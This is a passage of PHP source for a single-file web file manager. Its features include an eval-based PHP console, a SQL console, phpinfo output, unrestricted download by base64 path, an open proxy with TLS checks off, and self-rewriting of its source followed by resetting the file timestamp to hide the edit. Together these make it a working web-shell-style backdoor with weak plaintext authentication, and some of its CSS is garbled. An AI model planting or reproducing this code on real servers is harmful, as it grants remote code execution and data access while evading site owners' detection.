			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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